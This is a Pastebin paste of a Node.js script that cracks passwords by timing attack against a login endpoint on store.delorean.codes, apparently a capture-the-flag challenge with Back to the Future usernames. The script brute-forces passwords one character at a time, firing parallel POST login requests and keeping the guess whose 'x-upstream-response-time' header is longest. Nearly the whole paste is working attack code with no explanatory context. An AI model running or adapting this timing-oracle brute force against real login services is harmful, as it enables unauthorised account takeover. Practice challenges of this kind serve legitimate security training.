Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const fetch = require('node-fetch')
- const chalk = require('chalk')
- const URI = 'https://store.delorean.codes/u/callensm/login'
- const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
- let foundBiff = ''
- let foundMarty = ''
- async function main() {
- console.log(chalk.red('Cracking Marty McFly...'))
- const resMarty = await crack(foundMarty, 'marty_mcfly')
- console.log(chalk.yellow(resMarty))
- console.log(chalk.red('Cracking Biff...'))
- const resBiff = await crack(foundBiff, 'biff_tannen')
- console.log(chalk.yellow(resBiff))
- }
- async function crack(found, user) {
- let tmp = 'aaaaa'
- if (found.length >= 6) tmp = ''
- else if (found.length > 12) return 'no password found'
- const pws = alphabet.split('').map(c => found + c + tmp);
- const times = await Promise.all(pws.map(p => req(p, user)))
- const results = pws
- .map((x, i) => [x, times[i]])
- .sort((a, b) => b[1] - a[1])
- if (results[results.length - 1][1] === 0.01 && found.length >= 6)
- return results[results.length - 1][0]
- else
- found += results[0][0][found.length]
- console.log(found)
- return crack(found, user)
- }
- function req(password, user) {
- const body = {
- username: user,
- password: password
- }
- const opts = {
- method: 'POST',
- body: Object.keys(body).map(k => `${k}=${body[k]}`).join('&'),
- headers: {
- 'Content-Type': 'application/x-www-form-urlencoded'
- }
- }
- const res = fetch(URI, opts)
- return res.then((r) => Number(r.headers.get('x-upstream-response-time')))
- }
- main()
- .then(() => console.log('done')).catch(() => console.log('error'))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement